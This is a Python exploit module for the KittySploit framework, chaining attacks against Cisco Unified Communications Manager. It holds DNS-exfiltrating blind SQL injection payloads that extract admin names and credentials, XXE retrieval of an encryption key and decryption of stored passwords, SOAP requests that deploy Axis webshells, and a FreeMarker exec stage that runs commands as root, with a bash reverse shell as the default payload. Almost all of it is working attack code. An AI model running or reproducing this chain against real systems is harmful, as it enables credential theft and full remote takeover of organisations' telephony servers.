Cisco CUCM Axis fmService exec stage RCE

"""Cisco CUCM Remote Code Execution Chain"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
import base64
import binascii
import json
import random
import requests
import string
import sys
import threading
import time
import warnings
import re
import os
import sys
import time
import requests
import random
import string
import base64
import warnings
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
import argparse
import json

class Module(Exploit, Http_client):
    __info__ = {'name': 'Cisco CUCM Axis fmService exec stage RCE', 'description': 'Final chain stage: SOAP util:exec on /controlcenterservice/services/fmService with Basic axis_auth (prior SQLi/webshell stages manual).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['cisco', 'cucm', 'rce'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 1, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/cucm_rce_chain_detect']}}}
    port = OptPort(443, 'CUCM HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    axis_auth_b64 = OptString('', 'Basic auth token (base64 user:pass) for Axis services', required=True)
    fm_service_path = OptString('/controlcenterservice/services/fmService', 'FreeMarker exec SOAP endpoint', required=False)

    def generate_random_prefix(self):
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))

    def generate_payload(self, random_prefix, position, prefix, dns_domain):
        sql_injection_plaintext = f"1111 union ALL SELECT CASE WHEN LEFT(name, {position}) = '{prefix}' THEN '{random_prefix}.{dns_domain}' ELSE NULL END AS result FROM applicationuser WHERE LEFT(name, {position}) = '{prefix}':sssss"
        return base64.b64encode(sql_injection_plaintext.encode('utf-8')).decode('utf-8')

    def get_admin_credential_payload(self, random_prefix, position, prefix, webuser, dns_domain):
        sql_injection_plaintext = f"1111 union ALL SELECT '{random_prefix}.{dns_domain}' FROM credential WHERE fkapplicationuser = (select pkid from applicationuser where name = '{webuser}') and SUBSTRING(credentials FROM {position} FOR 1) = '{prefix}':sssss"
        return base64.b64encode(sql_injection_plaintext.encode('utf-8')).decode('utf-8')

    def send_request(self, base_url, payload):
        url = f'{base_url}/ssosp/user/whoami'
        headers = {'Authorization': payload, 'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Accept-Language': 'en-US;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
        response = requests.get(url, headers=headers, verify=False)
        return response

    def check_dns_request(self, domain, cookies):
        dns_url = 'https://dns-exfiltration-service/dns/?domain=&monitor=true'
        response = requests.get(dns_url, cookies=cookies, verify=False)
        return domain in response.text

    def blind_sql_injection_multi_thread(self, base_url, cookies, webuser, dns_domain, row_list, results, max_workers_num):
        lock = threading.Lock()
        fail_position_list = []
        success_position_list = []

        def worker(position, char, fail_position_list):
            random_prefix = self.generate_random_prefix()
            test_prefix = char
            payload = self.get_admin_credential_payload(random_prefix=random_prefix, position=position, prefix=test_prefix, webuser=webuser, dns_domain=dns_domain)
            domain = f'{random_prefix}.{dns_domain}'
            try:
                self.send_request(base_url, payload)
                if self.check_dns_request(domain, cookies):
                    with lock:
                        results[position] = char
                        print(f"Found character '{char}' at position {position}")
                        success_position_list.append(position)
            except Exception as e:
                fail_position_list.append(position)
        with ThreadPoolExecutor(max_workers=max_workers_num) as executor:
            futures = []
            for position in row_list:
                for char in CHARSET_pwd:
                    futures.append(executor.submit(worker, position, char, fail_position_list))
            for future in as_completed(futures):
                future.result()
        fail_position_list = list(set(fail_position_list) - set(success_position_list))
        print('fail req position is: ' + str(fail_position_list))
        if len(fail_position_list) > 0:
            self.blind_sql_injection_multi_thread(base_url, cookies, webuser, dns_domain, fail_position_list, results, max_workers_num)
        prefix = ''.join([results[pos] for pos in sorted(results.keys())])
        print(f'Extracted credentials: {prefix}')
        return prefix

    def blind_sql_injection(self, base_url, cookies, is_user, webuser, dns_domain):
        position = 1
        prefix = ''
        while True:
            found = False
            if is_user:
                for char in CHARSET:
                    random_prefix = self.generate_random_prefix()
                    test_prefix = prefix + char
                    payload = self.generate_payload(random_prefix=random_prefix, position=position, prefix=test_prefix, dns_domain=dns_domain)
                    print(f"Trying character '{char}' at position {position} with random prefix '{random_prefix}'")
                    self.send_request(base_url, payload)
                    domain = f'{random_prefix}.{dns_domain}'
                    if self.check_dns_request(domain, cookies):
                        print(f"Found character '{char}' at position {position}")
                        prefix += char
                        found = True
                        position += 1
                        break
            else:
                for char in CHARSET_pwd:
                    random_prefix = self.generate_random_prefix()
                    test_prefix = prefix + char
                    payload = self.get_admin_credential_payload(random_prefix=random_prefix, position=position, prefix=test_prefix, webuser=webuser, dns_domain=dns_domain)
                    print(f"Trying character '{char}' at position {position} with random prefix '{random_prefix}'")
                    self.send_request(base_url, payload)
                    domain = f'{random_prefix}.{dns_domain}'
                    if self.check_dns_request(domain, cookies):
                        print(f"Found character '{char}' at position {position}")
                        prefix += char
                        found = True
                        position += 1
                        break
            if not found:
                print('No more characters found, injection complete.')
                break
        print(f'Extracted name prefix: {prefix}')
        return prefix

    def get_enc_pwd_secret(self, base_url, xxe_server_target, dns_log_cookie):
        burp0_url = base_url + '/changecredential/ChangeCredentialServlet'
        burp0_headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Accept-Language': 'en-US;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36', 'Connection': 'close', 'Host': xxe_server_target, 'Content-Type': 'application/x-www-form-urlencoded'}
        burp0_data = {'xml': '<a>'}
        requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        dns_url = 'https://dns-exfiltration-service/web/?path=&headers='
        response = requests.get(dns_url, cookies=dns_log_cookie, verify=False)
        secret_key = response.text[response.text.find('dns-exfiltration-service/') + 8:response.text.find('/xxe_secret_get')]
        print(secret_key)
        return secret_key

    def decrypt_password(self, encrypted_password, secret_key):
        keydataDkey = self.hex_to_bytes(secret_key)
        iv = encrypted_password[:16]
        encrypted_data = encrypted_password[16:]
        cipher = AES.new(keydataDkey, AES.MODE_CBC, iv)
        decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
        return decrypted_data.decode('utf-8')

    def hex_to_bytes(self, hex_str):
        return binascii.unhexlify(hex_str)

    def trigger_webshell(self, base_url, command, axis_auth_header):
        burp0_url = base_url + '/CallRecordService/services/ELService88888'
        burp0_headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Authorization': 'Basic ' + axis_auth_header, 'Accept-Language': 'en-US;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36', 'Connection': 'close', 'Cache-Control': 'max-age=0', 'Content-Type': 'application/soap', 'SOAPAction': '""'}
        burp0_data = '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <util:eval soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n <string xsi:type="soapenc:string">\'a\'.getClass().forName(\'javax.script.ScriptEngineManager\').newInstance().getEngineByName(\'JavaScript\').eval("var x=new java.lang.ProcessBuilder; x.command(\\"' + command + '\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")</string>\r\n      </util:eval>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>'
        req = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        print(req.text)

    def get_login_cookie(self, base_url, webuser, password_plain):
        session = requests.session()
        burp0_url = base_url + '/ccmadmin/j_security_check'
        burp0_headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'}
        burp0_data = {'appNav': 'ccmadmin', 'j_username': webuser, 'j_password': password_plain}
        response = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False, allow_redirects=True)
        if response.status_code == 200:
            cookie_dict = session.cookies.get_dict()
            cookie_string = '; '.join([f'{key}={value}' for key, value in cookie_dict.items()])
            print(f'Login successful. Final URL: {response.url}')
            print(f'Cookie String: {cookie_string}')
            return cookie_string
        else:
            print(f'Login failed. HTTP Status Code: {response.status_code}')
            return None

    def deploy_docker_axis_server(self, base_url, cookie, password_plain):
        session = requests.session()
        ip_base_url = base_url.replace('https://', '').replace('http://', '')
        burp0_url = base_url + '/ccmadmin/emergencyNotificationWizard.do?event=next'
        burp0_headers = {'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'}
        burp0_data = {'reqEvent': 'next', 'wizardID': '3', 'ipAddr': ip_base_url + '/webdialer/services/AdminService?method=%21%2d%2d%3e%3c%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%20%78%6d%6c%6e%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%70%72%6f%76%69%64%65%72%73%2f%6a%61%76%61%22%3e%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%45%4c%53%65%72%76%69%63%65%36%36%22%20%70%72%6f%76%69%64%65%72%3d%22%6a%61%76%61%3a%52%50%43%22%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%63%6c%61%73%73%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%6a%61%76%61%78%2e%65%6c%2e%45%4c%50%72%6f%63%65%73%73%6f%72%22%20%2f%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%22%20%76%61%6c%75%65%3d%22%2a%22%20%2f%3e%3c%2f%73%65%72%76%69%63%65%3e%3c%2f%64%65%70%6c%6f%79%6d%65%6e%74&a=', 'password': password_plain}
        response = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        if response.status_code == 200:
            print('deployment axis with webdialer success!')
        else:
            print('deployment axis with webdialer maybe failed! wait check!')

    def deploy_host_controlcenterservice_webshell(self, base_url, axis_auth_header):
        session = requests.session()
        burp0_url = base_url + '/webdialer/services/ELService66'
        burp0_headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36', 'Content-Type': 'application/soap', 'SOAPAction': '""'}
        burp0_data = '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <util:eval soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n <string xsi:type="soapenc:string">\'a\'.getClass().forName(\'javax.script.ScriptEngineManager\').newInstance().getEngineByName(\'JavaScript\').eval("var HttpClient = Java.type(\'java.net.HttpURLConnection\');var URL = Java.type(\'java.net.URL\');var BufferedReader = Java.type(\'java.io.BufferedReader\');var InputStreamReader = Java.type(\'java.io.InputStreamReader\');var url = new URL(\'http://127.0.0.1:81/controlcenterservice/services/AdminService?method=%21%2d%2d%3e%3c%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%20%78%6d%6c%6e%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%70%72%6f%76%69%64%65%72%73%2f%6a%61%76%61%22%3e%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%66%6d%53%65%72%76%69%63%65%22%20%70%72%6f%76%69%64%65%72%3d%22%6a%61%76%61%3a%52%50%43%22%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%63%6c%61%73%73%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%20%2f%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%22%20%76%61%6c%75%65%3d%22%2a%22%20%2f%3e%3c%2f%73%65%72%76%69%63%65%3e%3c%2f%64%65%70%6c%6f%79%6d%65%6e%74\');var connection = url.openConnection();connection.setRequestMethod(\'GET\');connection.setRequestProperty(\'Authorization\', \'Basic ' + axis_auth_header + '\');connection.connect();var reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));var response = \'\'; var line;while ((line = reader.readLine()) != null) {response += line;}reader.close();response;")</string>\r\n      </util:eval>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>'
        response = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        if response.status_code == 200 and response.text.find('Done processing') > 0:
            print('deploy host controlcenterservice webshell success!')
        else:
            print('deploy host controlcenterservice webshell failed!')
            sys.exit(1)

    def access_to_root(self, base_url, command, axis_auth_header):
        burp0_url = base_url + '/controlcenterservice/services/fmService'
        burp0_headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36', 'Authorization': 'Basic ' + axis_auth_header, 'Content-Type': 'application/soap', 'SOAPAction': '""'}
        burp0_data = '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <util:exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n         <arguments>\r\n            <string xsi:type="soapenc:string">' + command + '</string>\r\n         </arguments>\r\n      </util:exec>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>'
        response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        if response.status_code == 200:
            print('execute command in host success! execute: ' + command)
        else:
            print('err!!! execute command in host failed! execute: ' + command)

    def get_root_execute_result(self, base_url):
        burp0_url = base_url + '/1.js'
        burp0_headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
        response = requests.get(burp0_url, headers=burp0_headers, verify=False)
        print('final root execute command result:\n\n')
        print(response.text)

    def execute(self, shell: str) -> str:
        auth = str(self.axis_auth_b64 or '').strip()
        if not auth:
            return 'Set axis_auth_b64 after prior CUCM chain stages'
        safe = shell.replace('"', '&quot;')
        body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker"><soapenv:Body><util:exec><arguments><string>%s</string></arguments></util:exec></soapenv:Body></soapenv:Envelope>' % safe
        path = str(self.fm_service_path or '/controlcenterservice/services/fmService')
        resp = self.http_request('POST', path, data=body, headers={'Authorization': 'Basic ' + auth, 'Content-Type': 'application/soap', 'SOAPAction': '""'})
        if not resp:
            return 'fmService request failed'
        return f"POST {path} HTTP {resp.status_code}; body: {(resp.text or '')[:400]!r}"

    def check(self):
        resp = self.http_request('GET', '/ccmadmin/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'CUCM HTTPS reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'CUCM not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.axis_auth_b64 or '').strip():
            print_error('Set axis_auth_b64')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Axis fmService util:exec')
        print_info(self.execute(shell))
        self.vulnerable()
        return True